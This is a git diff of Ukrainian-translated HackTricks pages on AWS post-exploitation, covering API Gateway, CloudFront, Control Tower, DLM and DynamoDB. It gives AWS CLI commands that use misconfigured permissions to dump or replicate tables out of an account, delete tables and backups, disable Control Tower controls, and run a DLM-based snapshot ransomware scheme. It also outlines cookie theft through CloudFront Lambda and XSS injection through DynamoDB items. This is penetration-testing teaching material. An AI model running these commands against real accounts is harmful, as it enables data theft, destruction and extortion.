+curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
+```
+### Usage Plans DoS
+
+У розділі **Enumeration** можна побачити, як **отримати usage plan** ключів. Якщо у вас є ключ і він **обмежений** до X використань **на місяць**, ви можете **просто використовувати його й спричинити DoS**.
+
+The **API Key** just need to be **included** inside a **HTTP header** called **`x-api-key`**.
+
+### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
+
+Атакувач з дозволами `apigateway:UpdateGatewayResponse` і `apigateway:CreateDeployment` може **змінити існуючий Gateway Response, щоб додати custom headers або response templates, які leak чутливу інформацію або виконують шкідливі scripts**.
+```bash
+API_ID="your-api-id"
+RESPONSE_TYPE="DEFAULT_4XX"
+
+# Update the Gateway Response
+aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"
+
+# Create a deployment for the updated API Gateway REST API
+aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
+```
+**Potential Impact**: Витік конфіденційної інформації, виконання шкідливих скриптів або несанкціонований доступ до ресурсів API.
+
+> [!NOTE]
+> Потребує тестування
+
+### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
+
+An attacker з дозволами `apigateway:UpdateStage` and `apigateway:CreateDeployment` може **змінити існуючий API Gateway стадію, щоб перенаправити трафік на іншу стадію, або змінити налаштування кешування, щоб отримати несанкціонований доступ до кешованих даних**.
+```bash
+API_ID="your-api-id"
+STAGE_NAME="Prod"
+
+# Update the API Gateway stage
+aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"
+
+# Create a deployment for the updated API Gateway REST API
+aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
+```
+**Потенційний вплив**: Несанкціонований доступ до кешованих даних, порушення або перехоплення API-трафіку.
+
+> [!NOTE]
+> Потребує тестування
+
+### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
+
+Зловмисник із дозволами `apigateway:PutMethodResponse` та `apigateway:CreateDeployment` може **змінити відповідь методу існуючого API Gateway REST API, щоб додати власні заголовки або шаблони відповіді, які leak конфіденційну інформацію або виконують шкідливі скрипти**.
+```bash
+API_ID="your-api-id"
+RESOURCE_ID="your-resource-id"
+HTTP_METHOD="GET"
+STATUS_CODE="200"
+
+# Update the method response
+aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"
+
+# Create a deployment for the updated API Gateway REST API
+aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
+```
+**Можливий вплив**: Leakage конфіденційної інформації, виконання шкідливих скриптів або несанкціонований доступ до ресурсів API.
+
+> [!NOTE]
+> Потрібне тестування
+
+### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
+
+Зловмисник із дозволами `apigateway:UpdateRestApi` та `apigateway:CreateDeployment` може **змінити налаштування API Gateway REST API, щоб вимкнути логування або змінити мінімальну версію TLS, що може послабити безпеку API**.
+```bash
+API_ID="your-api-id"
+
+# Update the REST API settings
+aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'
+
+# Create a deployment for the updated API Gateway REST API
+aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
+```
+**Потенційний вплив**: Ослаблення безпеки API, що може дозволити несанкціонований доступ або розкриття конфіденційної інформації.
+
+> [!NOTE]
+> Потрібне тестування
+
+### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
+
+Зловмисник з дозволами `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, та `apigateway:CreateUsagePlanKey` може **створювати нові API keys, пов'язувати їх з usage plans, а потім використовувати ці ключі для несанкціонованого доступу до APIs**.
+```bash
+# Create a new API key
+API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
+
+# Create a new usage plan
+USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')
+
+# Associate the API key with the usage plan
+aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
+```
+**Potential Impact**: Несанкціонований доступ до ресурсів API, обхід механізмів безпеки.
+
+> [!NOTE]
+> Потребує тестування
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md

@@ -1,31 +0,0 @@
-# AWS - CloudFront Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## CloudFront
-
-Для отримання додаткової інформації перегляньте:
-
-{{#ref}}
-../aws-services/aws-cloudfront-enum.md
-{{#endref}}
-
-### Man-in-the-Middle
-
-Цей [**блог пост**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) пропонує кілька різних сценаріїв, де **Lambda** може бути додана (або змінена, якщо вже використовується) у **зв'язку через CloudFront** з метою **викрадення** інформації користувача (такої як **cookie** сесії) та **модифікації** **відповіді** (впровадження шкідливого JS скрипта).
-
-#### сценарій 1: MitM, де CloudFront налаштовано для доступу до деякого HTML з бакету
-
-- **Створіть** шкідливу **функцію**.
-- **Ассоціюйте** її з розподілом CloudFront.
-- Встановіть **тип події на "Viewer Response"**.
-
-Отримуючи відповідь, ви можете вкрасти cookie користувачів і впровадити шкідливий JS.
-
-#### сценарій 2: MitM, де CloudFront вже використовує функцію lambda
-
-- **Змініть код** функції lambda, щоб вкрасти чутливу інформацію
-
-Ви можете перевірити [**tf код для відтворення цих сценаріїв тут**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md

@@ -0,0 +1,31 @@
+# AWS - CloudFront Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## CloudFront
+
+Для отримання додаткової інформації див.:
+
+{{#ref}}
+../../aws-services/aws-cloudfront-enum.md
+{{#endref}}
+
+### Man-in-the-Middle
+
+Ця [**стаття в блозі**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) пропонує кілька різних сценаріїв, у яких **Lambda** може бути додано (або змінено, якщо він уже використовується) в комунікацію через **CloudFront** з метою **викрадення** інформації користувачів (наприклад, сесійного **cookie**) та **зміни** **response** (інжекція шкідливого JS скрипта).
+
+#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket
+
+- **Create** the malicious **function**.
+- **Associate** її з CloudFront distribution.
+- Встановіть **event type to "Viewer Response"**.
+
+Отримавши доступ до response, можна викрасти cookie користувачів та інжектувати шкідливий JS.
+
+#### scenario 2: MitM where CloudFront is already using a lambda function
+
+- **Modify the code** of the lambda function, щоб викрасти чутливу інформацію
+
+You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md

@@ -1,18 +0,0 @@
-# AWS - Control Tower Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Control Tower
-
-{{#ref}}
-../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
-{{#endref}}
-
-### Увімкнення / Вимкнення контролів
-
-Щоб далі експлуатувати обліковий запис, вам може знадобитися вимкнути/увімкнути контролі Control Tower:
-```bash
-aws controltower disable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
-aws controltower enable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md

@@ -0,0 +1,18 @@
+# AWS - Control Tower Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Control Tower
+
+{{#ref}}
+../../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
+{{#endref}}
+
+### Увімкнення / вимкнення контролів
+
+Для подальшого exploit облікового запису може знадобитися вимкнути або увімкнути контролі Control Tower:
+```bash
+aws controltower disable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
+aws controltower enable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
+```
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md

@@ -1,91 +0,0 @@
-# AWS - DLM Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Data Lifecycle Manger (DLM)
-
-### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
-
-Атака програм-вимагачів може бути виконана шляхом шифрування якомога більшої кількості EBS томів, а потім видалення поточних EC2 екземплярів, EBS томів та знімків. Щоб автоматизувати цю злочинну діяльність, можна використовувати Amazon DLM, шифруючи знімки за допомогою KMS ключа з іншого AWS облікового запису та передаючи зашифровані знімки до іншого облікового запису. Альтернативно, вони можуть передавати знімки без шифрування до облікового запису, яким вони керують, а потім шифрувати їх там. Хоча не просто зашифрувати існуючі EBS томи або знімки безпосередньо, це можливо зробити, створивши новий том або знімок.
-
-По-перше, потрібно буде використати команду для збору інформації про томи, такі як ID екземпляра, ID тому, статус шифрування, статус підключення та тип тому.
-
-`aws ec2 describe-volumes`
-
-По-друге, потрібно буде створити політику життєвого циклу. Ця команда використовує DLM API для налаштування політики життєвого циклу, яка автоматично робить щоденні знімки вказаних томів у визначений час. Вона також застосовує певні теги до знімків і копіює теги з томів до знімків. Файл policyDetails.json містить специфікації політики життєвого циклу, такі як цільові теги, розклад, ARN необов'язкового KMS ключа для шифрування та цільовий обліковий запис для спільного використання знімків, що буде зафіксовано в журналах CloudTrail жертви.
-```bash
-aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
-```
-Шаблон для документу політики можна побачити тут:
-```bash
-{
-"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
-"ResourceTypes": [
-"VOLUME"
-],
-"TargetTags": [
-{
-"Key": "ExampleKey",
-"Value": "ExampleValue"
-}
-],
-"Schedules": [
-{
-"Name": "DailySnapshots",
-"CopyTags": true,
-"TagsToAdd": [
-{
-"Key": "SnapshotCreator",
-"Value": "DLM"
-}
-],
-"VariableTags": [
-{
-"Key": "CostCenter",
-"Value": "Finance"
-}
-],
-"CreateRule": {
-"Interval": 24,
-"IntervalUnit": "HOURS",
-"Times": [
-"03:00"
-]
-},
-"RetainRule": {
-"Count": 14
-},
-"FastRestoreRule": {
-"Count": 2,
-"Interval": 12,
-"IntervalUnit": "HOURS"
-},
-"CrossRegionCopyRules": [
-{
-"TargetRegion": "us-west-2",
-"Encrypted": true,
-"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
-"CopyTags": true,
-"RetainRule": {
-"Interval": 1,
-"IntervalUnit": "DAYS"
-}
-}
-],
-"ShareRules": [
-{
-"TargetAccounts": [
-"123456789012"
-],
-"UnshareInterval": 30,
-"UnshareIntervalUnit": "DAYS"
-}
-]
-}
-],
-"Parameters": {
-"ExcludeBootVolume": false
-}
-}
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md

@@ -0,0 +1,91 @@
+# AWS - DLM Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Data Lifecycle Manger (DLM)
+
+### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
+
+Ransomware-атаку можна реалізувати, зашифрувавши якомога більше EBS volumes, а потім видаливши поточні EC2 instances, EBS volumes та snapshots. Щоб автоматизувати таку шкідливу діяльність, можна використати Amazon DLM — шифрувати snapshots за допомогою KMS key з іншого AWS account і переносити зашифровані snapshots до іншого акаунта. Альтернативно, можна перенести snapshots без шифрування до акаунта, яким вони керують, а потім зашифрувати їх там. Хоча безпосередньо зашифрувати існуючі EBS volumes або snapshots не так просто, це можна зробити, створивши новий volume або snapshot.
+
+По-перше, використовують команду для збору інформації про volumes, таких як instance ID, volume ID, encryption status, attachment status та volume type.
+
+`aws ec2 describe-volumes`
+
+По-друге, створюється lifecycle policy. Ця команда використовує DLM API для налаштування lifecycle policy, яка автоматично робитиме daily snapshots зазначених volumes у визначений час. Вона також застосовує певні теги до snapshots та копіює теги з volumes на snapshots. Файл policyDetails.json містить деталі lifecycle policy, такі як target tags, schedule, ARN опційного KMS key для шифрування та target account для snapshot sharing, що буде зафіксовано у жертви в CloudTrail logs.
+```bash
+aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
+```
+Шаблон документа політики можна переглянути тут:
+```bash
+{
+"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
+"ResourceTypes": [
+"VOLUME"
+],
+"TargetTags": [
+{
+"Key": "ExampleKey",
+"Value": "ExampleValue"
+}
+],
+"Schedules": [
+{
+"Name": "DailySnapshots",
+"CopyTags": true,
+"TagsToAdd": [
+{
+"Key": "SnapshotCreator",
+"Value": "DLM"
+}
+],
+"VariableTags": [
+{
+"Key": "CostCenter",
+"Value": "Finance"
+}
+],
+"CreateRule": {
+"Interval": 24,
+"IntervalUnit": "HOURS",
+"Times": [
+"03:00"
+]
+},
+"RetainRule": {
+"Count": 14
+},
+"FastRestoreRule": {
+"Count": 2,
+"Interval": 12,
+"IntervalUnit": "HOURS"
+},
+"CrossRegionCopyRules": [
+{
+"TargetRegion": "us-west-2",
+"Encrypted": true,
+"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
+"CopyTags": true,
+"RetainRule": {
+"Interval": 1,
+"IntervalUnit": "DAYS"
+}
+}
+],
+"ShareRules": [
+{
+"TargetAccounts": [
+"123456789012"
+],
+"UnshareInterval": 30,
+"UnshareIntervalUnit": "DAYS"
+}
+]
+}
+],
+"Parameters": {
+"ExcludeBootVolume": false
+}
+}
+```
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md

@@ -1,18 +1,18 @@
 # AWS - DynamoDB Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## DynamoDB
 
 Для отримання додаткової інформації див.:
 
 {{#ref}}
-../aws-services/aws-dynamodb-enum.md
+../../aws-services/aws-dynamodb-enum.md
 {{#endref}}
 
 ### `dynamodb:BatchGetItem`
 
-Зловмисник з цими дозволами зможе **отримувати записи з таблиць за первинним ключем** (ви не можете просто запросити всі дані таблиці). Це означає, що вам потрібно знати первинні ключі (їх можна отримати, отримавши метадані таблиці (`describe-table`).
+Зловмисник з цими дозволами зможе **отримувати елементи з таблиць за первинним ключем** (ви не можете просто запросити всі дані таблиці). Це означає, що вам потрібно знати первинні ключі (їх можна отримати, отримавши метадані таблиці (`describe-table`)).
 
 {{#tabs }}
 {{#tab name="json file" }}
@@ -43,11 +43,11 @@ aws dynamodb batch-get-item \
 {{#endtab }}
 {{#endtabs }}
 
-**Можливий вплив:** Непряме privesc шляхом знаходження чутливої інформації в таблиці
+**Potential Impact:** Indirect privesc шляхом знаходження конфіденційної інформації в таблиці
 
 ### `dynamodb:GetItem`
 
-**Подібно до попередніх дозволів**, цей дозвіл дозволяє потенційному зловмиснику читати значення лише з однієї таблиці, маючи первинний ключ запису, який потрібно отримати:
+**Схоже на попередні дозволи** цей дозволяє потенційному атакуючому читати значення лише з однієї таблиці, маючи первинний ключ запису, який потрібно отримати:
 ```json
 aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json
 
@@ -75,11 +75,11 @@ aws dynamodb transact-get-items \
 }
 ]
 ```
-**Potential Impact:** Непряме privesc шляхом знаходження чутливої інформації в таблиці
+**Можливий вплив:** Непрямий privesc шляхом знаходження чутливої інформації в таблиці
 
 ### `dynamodb:Query`
 
-**Similar to the previous permissions** ця дозволяє потенційному нападнику читати значення лише з однієї таблиці за умови наявності первинного ключа запису, який потрібно отримати. Вона дозволяє використовувати [піднабір порівнянь](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), але єдине порівняння, дозволене для первинного ключа (який має бути вказаний), — "EQ", тому ви не можете використати порівняння, щоб отримати всю DB в одному запиті.
+**Схоже на попередні дозволи** цей дозволяє потенційному зловмиснику читати значення лише з 1 таблиці за наявності первинного ключа запису, який потрібно отримати. Дозволяється використовувати [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), але єдине порівняння, дозволене для первинного ключа (який має бути вказаний) — "EQ", тому ви не можете використати порівняння, щоб отримати всю базу даних в одному запиті.
 
 {{#tabs }}
 {{#tab name="json file" }}
@@ -107,7 +107,7 @@ aws dynamodb query \
 {{#endtab }}
 {{#endtabs }}
 
-**Потенційний вплив:** Косвене privesc шляхом знаходження чутливої інформації у таблиці
+**Можливий вплив:** Опосередковане privesc через виявлення конфіденційної інформації в таблиці
 
 ### `dynamodb:Scan`
 
@@ -115,11 +115,11 @@ aws dynamodb query \
 ```bash
 aws dynamodb scan --table-name <t_name> #Get data inside the table
 ```
-**Потенційний вплив:** Непряме privesc шляхом знаходження чутливої інформації в таблиці
+**Potential Impact:** Непряма privesc шляхом виявлення чутливої інформації в таблиці
 
 ### `dynamodb:PartiQLSelect`
 
-Ви можете використати цей дозвіл, щоб **легко dump всю таблицю**.
+Ви можете використовувати цей дозвіл, щоб **легко dump всю таблицю**.
 ```bash
 aws dynamodb execute-statement \
 --statement "SELECT * FROM ProductCatalog"
@@ -129,13 +129,13 @@ aws dynamodb execute-statement \
 aws dynamodb batch-execute-statement \
 --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
 ```
-але потрібно вказати primary key зі значенням, тому це не дуже корисно.
+але потрібно вказати первинний ключ зі значенням, тому це не дуже корисно.
 
-**Potential Impact:** Непрямий privesc шляхом знаходження чутливої інформації в таблиці
+**Potential Impact:** Indirect privesc by locating sensitive information in the table
 
 ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
 
-Цей дозвіл дозволяє зловмиснику **експортувати всю таблицю в S3 bucket за своїм вибором:**
+Цей дозвіл надає attacker можливість **експортувати всю таблицю в S3 bucket** за своїм вибором:
 ```bash
 aws dynamodb export-table-to-point-in-time \
 --table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
@@ -144,33 +144,33 @@ aws dynamodb export-table-to-point-in-time \
 --export-time <point_in_time> \
 --region <region>
 ```
-Зверніть увагу, що для цього таблиця має мати увімкнений point-in-time-recovery — ви можете перевірити це за допомогою:
+Зверніть увагу, що для цього таблиця має мати point-in-time-recovery увімкненим. Ви можете перевірити наявність цієї опції в таблиці за допомогою:
 ```bash
 aws dynamodb describe-continuous-backups \
 --table-name <tablename>
 ```
-Якщо він не ввімкнений, вам потрібно буде **увімкнути його**, і для цього потрібен дозвіл **`dynamodb:ExportTableToPointInTime`**:
+Якщо він не увімкнений, вам потрібно буде **увімкнути його**, а для цього вам потрібен дозвіл **`dynamodb:ExportTableToPointInTime`**:
 ```bash
 aws dynamodb update-continuous-backups \
 --table-name <value> \
 --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
 ```
-**Потенційний вплив:** Опосередкований privesc шляхом виявлення конфіденційної інформації в таблиці
+**Potential Impact:** Опосередкований privesc шляхом знаходження конфіденційної інформації в таблиці
 
 ### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
 
-Маючи ці дозволи, зловмисник зможе **створити нову таблицю з резервної копії** (або навіть створити резервну копію, щоб потім відновити її в іншій таблиці). Потім, при наявності необхідних дозволів, він зможе переглянути **інформацію** з резервних копій, я**кої більше немає в продукційній** таблиці.
+Маючи ці дозволи, атакуючий зможе **створити нову таблицю з резервної копії** (або навіть створити резервну копію, щоб потім відновити її в іншій таблиці). Потім, за наявності необхідних дозволів, він зможе перевірити **інформацію** з резервних копій, яка **більше не міститься в production** таблиці.
 ```bash
 aws dynamodb restore-table-from-backup \
 --backup-arn <source-backup-arn> \
 --target-table-name <new-table-name> \
 --region <region>
 ```
-**Можливий вплив:** Опосередкований privesc шляхом знаходження чутливої інформації у резервній копії таблиці
+**Потенційний вплив:** Опосередковане privesc шляхом знаходження чутливої інформації у резервній копії таблиці
 
 ### `dynamodb:PutItem`
 
-Цей дозвіл дозволяє користувачам додавати **новий елемент до таблиці або заміняти існуючий елемент** на новий. Якщо елемент з тим самим первинним ключем вже існує, **весь елемент буде замінено** на новий. Якщо первинний ключ не існує, буде **створено** новий елемент із вказаним первинним ключем.
+Цей дозвіл дозволяє користувачам додавати **новий елемент до таблиці або замінювати існуючий елемент** новим. Якщо елемент з тим самим первинним ключем вже існує, **весь елемент буде замінено** на новий. Якщо первинний ключ не існує, буде **створено** новий елемент з вказаним первинним ключем.
 
 {{#tabs }}
 {{#tab name="XSS Example" }}
@@ -202,11 +202,11 @@ aws dynamodb put-item \
 {{#endtab }}
 {{#endtabs }}
 
-**Potential Impact:** Експлуатація подальших vulnerabilities/bypasses через можливість додавати/змінювати дані в таблиці DynamoDB
+**Потенційний вплив:** Експлуатація додаткових вразливостей/методів обходу завдяки можливості додавати/змінювати дані в таблиці DynamoDB
 
 ### `dynamodb:UpdateItem`
 
-Цей дозвіл дозволяє користувачам **змінювати наявні атрибути елемента або додавати нові атрибути до елемента**. Він **не замінює** весь елемент; оновлюються лише вказані атрибути. Якщо первинний ключ не існує в таблиці, операція **створить новий елемент** з зазначеним первинним ключем і встановить атрибути, вказані у виразі оновлення.
+Цей дозвіл дозволяє користувачам **змінювати існуючі атрибути елемента або додавати нові атрибути до елемента**. Ця операція **не замінює** весь елемент; вона лише оновлює вказані атрибути. Якщо первинний ключ не існує в таблиці, операція **створить новий елемент** з вказаним первинним ключем і встановить атрибути, зазначені у виразі оновлення.
 
 {{#tabs }}
 {{#tab name="XSS Example" }}
@@ -242,34 +242,34 @@ aws dynamodb update-item \
 {{#endtab }}
 {{#endtabs }}
 
-**Potential Impact:** Експлуатація подальних vulnerabilities/bypasses завдяки можливості додавати/змінювати дані в таблиці DynamoDB
+**Потенційний вплив:** Експлуатація додаткових вразливостей/обхідних шляхів через можливість додавати/змінювати дані в таблиці DynamoDB
 
 ### `dynamodb:DeleteTable`
 
-Атакуючий з цим дозволом може **видалити таблицю DynamoDB, що призведе до втрати даних**
+Атакувальник з цим дозволом може **видалити таблицю DynamoDB, що призведе до втрати даних**.
 ```bash
 aws dynamodb delete-table \
 --table-name TargetTable \
 --region <region>
 ```
-**Потенційний вплив**: Втрата даних та порушення роботи служб, які залежать від видаленої таблиці.
+**Потенційний вплив**: Втрата даних та збої в роботі сервісів, що залежать від видаленої таблиці.
 
 ### `dynamodb:DeleteBackup`
 
-Зловмисник з цим дозволом може **delete a DynamoDB backup, потенційно спричиняючи втрату даних у разі сценарію відновлення після аварії**.
+An attacker з цим дозволом може **видалити резервну копію DynamoDB, що може спричинити втрату даних у разі сценарію відновлення після аварії**.
 ```bash
 aws dynamodb delete-backup \
 --backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
 --region <region>
 ```
-**Potential impact**: Втрата даних та неможливість відновлення з резервної копії під час сценарію disaster recovery.
+**Потенційний вплив**: Втрата даних та неможливість відновлення з резервної копії під час сценарію відновлення після аварії.
 
 ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
 
 > [!NOTE]
-> TODO: Перевірити, чи це насправді працює
+> TODO: Перевірити, чи це справді працює
 
-Зловмисник із такими дозволами може **увімкнути stream на таблиці DynamoDB, оновити таблицю, щоб почати транслювання змін, а потім отримати доступ до stream для відстеження змін таблиці в режимі реального часу**. Це дозволяє зловмиснику моніторити та exfiltrate зміни даних, що потенційно може призвести до data leakage.
+Зловмисник із такими дозволами може **увімкнути stream на таблиці DynamoDB, оновити таблицю для початку трансляції змін і потім отримати доступ до stream, щоб у режимі реального часу відстежувати зміни таблиці**. Це дозволяє зловмиснику відстежувати та exfiltrate зміни даних, що потенційно може призвести до data leakage.
 
 1. Увімкнути stream на таблиці DynamoDB:
 ```bash
@@ -278,13 +278,13 @@ aws dynamodb update-table \
 --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
 --region <region>
 ```
-2. Опишіть потік, щоб отримати ARN та інші деталі:
+2. Описати stream, щоб отримати ARN та інші деталі:
 ```bash
 aws dynamodb describe-stream \
 --table-name TargetTable \
 --region <region>
 ```
-3. Отримайте shard iterator за допомогою stream ARN:
+3. Отримайте shard iterator, використовуючи stream ARN:
 ```bash
 aws dynamodbstreams get-shard-iterator \
 --stream-arn <stream_arn> \
@@ -292,22 +292,22 @@ aws dynamodbstreams get-shard-iterator \
 --shard-iterator-type LATEST \
 --region <region>
 ```
-4. Використайте shard iterator для доступу й експфільтрації даних зі stream:
+4. Використовуйте shard iterator, щоб отримати доступ і exfiltrate дані зі stream:
 ```bash
 aws dynamodbstreams get-records \
 --shard-iterator <shard_iterator> \
 --region <region>
 ```
-**Можливий вплив**: Моніторинг змін таблиці DynamoDB у реальному часі та витік даних.
+**Potential impact**: Моніторинг у реальному часі та витік даних змін таблиці DynamoDB.
 
-### Читання елементів через `dynamodb:UpdateItem` та `ReturnValues=ALL_OLD`
+### Read items via `dynamodb:UpdateItem` and `ReturnValues=ALL_OLD`
 
-Зловмисник, який має лише `dynamodb:UpdateItem` для таблиці, може читати елементи без звичних дозволів на читання (`GetItem`/`Query`/`Scan`), виконавши нешкідливе оновлення і вказавши `--return-values ALL_OLD`. DynamoDB поверне повний попередній образ елемента в полі `Attributes` відповіді (це не споживає RCUs).
+An attacker, маючи лише `dynamodb:UpdateItem` на таблиці, може читати елементи без стандартних прав на читання (`GetItem`/`Query`/`Scan`), виконавши безпечне оновлення та вказавши `--return-values ALL_OLD`. DynamoDB поверне повний образ елемента до оновлення в полі `Attributes` відповіді (це не витрачає RCUs).
 
 - Мінімальні дозволи: `dynamodb:UpdateItem` на цільовій таблиці/ключі.
-- Попередні умови: Ви повинні знати первинний ключ елемента.
+- Передумови: Ви повинні знати первинний ключ елемента.
 
-Приклад (додає нешкідливий атрибут і exfiltrates попередній елемент у відповіді):
+Example (adds a harmless attribute and exfiltrates the previous item in the response):
 ```bash
 aws dynamodb update-item \
 --table-name <TargetTable> \
@@ -318,14 +318,14 @@ aws dynamodb update-item \
 --return-values ALL_OLD \
 --region <region>
 ```
-Відповідь CLI включатиме блок `Attributes`, що містить повний попередній елемент (усі атрибути), фактично забезпечуючи примітив читання при доступі лише на запис.
+Відповідь CLI включатиме блок `Attributes`, що містить повний попередній елемент (усі атрибути), фактично забезпечуючи примітив читання при доступі лише для запису.
 
-**Potential Impact:** Читання довільних елементів таблиці, маючи лише права на запис, що дозволяє exfiltration конфіденційних даних, якщо відомі первинні ключі.
+**Потенційний вплив:** Читати довільні елементи таблиці, маючи лише права запису, що дозволяє ексфільтрацію конфіденційних даних, коли відомі первинні ключі.
 
 
 ### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
 
-Stealth exfiltration шляхом додавання нового replica Region до DynamoDB Global Table (version 2019.11.21). Якщо principal може додати regional replica, вся таблиця буде реплікована до attacker-chosen Region, звідки attacker може прочитати всі елементи.
+Прихована ексфільтрація шляхом додавання нової регіональної репліки до DynamoDB Global Table (version 2019.11.21). Якщо principal може додати регіональну репліку, уся таблиця реплікується в регіон, обраний атакуючим, звідки атакуючий може прочитати всі елементи.
 
 {{#tabs }}
 {{#tab name="PoC (default DynamoDB-managed KMS)" }}
@@ -354,13 +354,13 @@ aws dynamodb update-table \
 {{#endtab }}
 {{#endtabs }}
 
-Права доступу: `dynamodb:UpdateTable` (з `replica-updates`) або `dynamodb:CreateTableReplica` для цільової таблиці. Якщо CMK використовується в репліці, можуть знадобитися дозволи KMS для цього ключа.
+Дозволи: `dynamodb:UpdateTable` (з `replica-updates`) або `dynamodb:CreateTableReplica` для цільової таблиці. Якщо в репліці використовується CMK, можуть знадобитися дозволи KMS для цього ключа.
 
-Потенційний вплив: Повномасштабна реплікація таблиці в Region, контрольований атакуючим, що призводить до stealthy data exfiltration.
+Потенційний вплив: Повне реплікування таблиці в регіон, контрольований зловмисником, що призводить до прихованого виведення даних.
 
-### `dynamodb:TransactWriteItems` (read via failed condition + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
+### `dynamodb:TransactWriteItems` (читання через невдалу умову + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
 
